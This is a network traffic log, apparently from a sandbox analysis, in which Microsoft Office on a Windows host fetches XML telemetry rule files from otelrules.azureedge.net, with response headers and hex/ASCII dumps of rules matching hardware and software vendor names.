2024-11-16 22:36:27 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:27 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223627Z-1866b5c5fbbtpjhjhC1DFWr6tw00000003cg000000009p5p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:27 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:27 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:27 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:27 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: fdac4f62-e01e-0085-71ab-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223627Z-16547b76f7fwggrphC1DFW2a8s000000027g00000000mm3y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:27 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:27 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:28 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1898305b-101e-008e-3309-37cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223628Z-1866b5c5fbbwlv6nhC1DFWw4bs00000001z0000000001rxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:28 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:27 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:28 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223628Z-164f84587bffvwt9hC1DFW2ktw000000016g000000006kyd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 22:36:28 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:28 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:28 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:28 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: fb571e6e-701e-005c-5d91-37bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223628Z-164f84587bf6h2bxhC1DFWbcm800000003mg00000000aa0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:28 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:28 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:28 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0304051c-b01e-0070-43af-361cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223628Z-16547b76f7fnlq8chC1DFWxnen000000031000000000p007 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:28 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49778	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:28 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:28 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:28 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223628Z-16547b76f7f2b5qzhC1DFWeag400000001n000000000bhfd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:28 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:29 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:29 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: bdecc517-a01e-0050-3dc0-37db6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223629Z-16547b76f7fm8pcwhC1DFWaxcc00000001kg000000004u7h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:29 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49790	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:29 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:29 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 4e6a8ad7-601e-000d-69a9-362618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223629Z-1866b5c5fbbx98hfhC1DFWuqmg000000024g00000000ft1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:29 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49786	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:29 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:29 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223629Z-16547b76f7ftfv4jhC1DFWuhug000000011g000000008qkw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:29 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49788	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:29 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:29 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 373f0e0b-901e-008f-80b0-3767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223629Z-16547b76f7fkf5v9hC1DFW2y5s00000003d0000000000uvg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49789	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 22:36:29 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 22:36:29 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 22:36:29 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: bd5538f5-501e-008f-71ad-379054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T223629Z-164f84587bf6h2bxhC1DFWbcm800000003r0000000000s54 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 22:36:29 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

